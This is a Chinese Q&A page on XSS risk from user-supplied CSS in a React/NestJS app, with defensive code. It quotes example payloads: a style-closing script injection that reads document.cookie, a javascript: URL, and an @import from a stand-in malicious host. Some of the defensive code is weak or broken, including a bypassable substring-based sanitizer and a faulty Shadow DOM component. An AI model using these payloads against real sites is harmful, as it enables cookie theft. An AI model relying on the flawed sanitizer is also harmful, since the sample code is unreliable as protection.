You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

用户自定义CSS注入前端的XSS风险排查及防护方案咨询

用户自定义CSS注入的XSS风险与防护方案

存在明确的XSS风险

是的,这个场景绝对存在XSS注入风险,常见攻击路径包括:

  • 闭合style标签插入脚本:比如用户输入</style><script>alert(document.cookie)</script>,若直接注入页面会跳出style标签执行恶意脚本。
  • 利用CSS特性嵌入JS:尽管现代浏览器大多禁用了expression()这类旧特性,但仍有潜在风险,比如url(javascript:alert(1))、通过CSS变量结合页面现有JS逻辑触发执行,或利用浏览器漏洞执行代码。
  • 滥用@import引入恶意资源:比如@import url('https://malicious.com/steal-data.css'),该资源可能包含进一步攻击代码。

针对React+NestJS栈的有效防护方案

后端(NestJS):严格过滤与验证

  1. 基于AST的CSS解析过滤
    不要依赖字符串匹配或通用HTML sanitizer,用专业CSS解析器(如postcss)将用户输入解析为抽象语法树(AST),遍历节点过滤危险内容:
  • 禁止所有包含javascript:的URL值(检查url()函数内的内容)
  • 移除expression()、behavior()等风险特性
  • 过滤@import规则,或仅允许引入信任域名的资源
  • 对可能闭合style标签的字符序列(如</style>)进行实体转义(&lt;/style&gt;)

示例代码:

import postcss from 'postcss';

async function sanitizeUserCSS(rawCSS: string): Promise<string> {
  const result = await postcss([
    {
      postcssPlugin: 'css-sanitizer',
      Declaration(decl) {
        // 过滤含javascript的url值
        if (decl.value.includes('url(') && decl.value.includes('javascript:')) {
          decl.remove();
        }
        // 移除expression等风险属性值
        if (decl.value.includes('expression(')) {
          decl.remove();
        }
      },
      AtRule(atRule) {
        // 移除@import规则
        if (atRule.name === 'import') {
          atRule.remove();
        }
      }
    }
  ]).process(rawCSS);
  // 转义可能闭合标签的字符
  return result.css.replace(/<\/style>/gi, '&lt;/style&gt;');
}
  1. 存储前的转义处理
    对用户输入的CSS进行HTML实体转义,比如将<转为&lt;、>转为&gt;,确保存入数据库的内容不会被当作HTML标签解析。

前端(React):安全注入与隔离

  1. 用textContent而非innerHTML注入CSS
    React中禁止使用dangerouslySetInnerHTML插入style标签,通过创建style元素并设置textContent注入,textContent会将所有内容视为纯文本,不会解析HTML或JS:
import { useEffect } from 'react';

function UserCSSInjector({ customCSS }) {
  useEffect(() => {
    if (!customCSS) return;
    const styleEl = document.createElement('style');
    styleEl.textContent = customCSS;
    document.head.appendChild(styleEl);
    return () => document.head.removeChild(styleEl);
  }, [customCSS]);
  return null;
}
  1. 用Shadow DOM隔离用户CSS
    将需要应用用户CSS的组件包裹在Shadow DOM中,既防止用户CSS污染全局样式,也能进一步隔离潜在攻击代码:
import { useRef, useEffect } from 'react';

function ShadowWrappedComponent({ customCSS, children }) {
  const ref = useRef(null);
  useEffect(() => {
    if (!ref.current || !customCSS) return;
    const shadow = ref.current.attachShadow({ mode: 'open' });
    const styleEl = document.createElement('style');
    styleEl.textContent = customCSS;
    shadow.appendChild(styleEl);
    const contentWrapper = document.createElement('div');
    contentWrapper.append(...children);
    shadow.appendChild(contentWrapper);
  }, [customCSS, children]);
  return <div ref={ref}></div>;
}
  1. 配置内容安全策略(CSP)
    在NestJS中设置CSP响应头,严格限制脚本和样式来源:
// NestJS main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  app.use((req, res, next) => {
    res.setHeader(
      'Content-Security-Policy',
      "default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; object-src 'none'"
    );
    next();
  });
  await app.listen(3000);
}
bootstrap();

这里style-src允许内联样式是为了兼容用户自定义CSS,script-src仅允许自有域名脚本,即使出现XSS尝试也无法执行恶意代码。

综合防护要点

  • 前后端双重校验:后端过滤危险内容,前端安全注入,不依赖单一防线
  • 绝对避免使用dangerouslySetInnerHTML处理用户提供的任何内容
  • 定期更新postcss等依赖工具,修复已知安全漏洞
  • 测试极端场景:模拟用户输入各类攻击代码,验证防护有效性

内容的提问来源于stack exchange,提问作者Johnson Cherian

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.30 20:36:07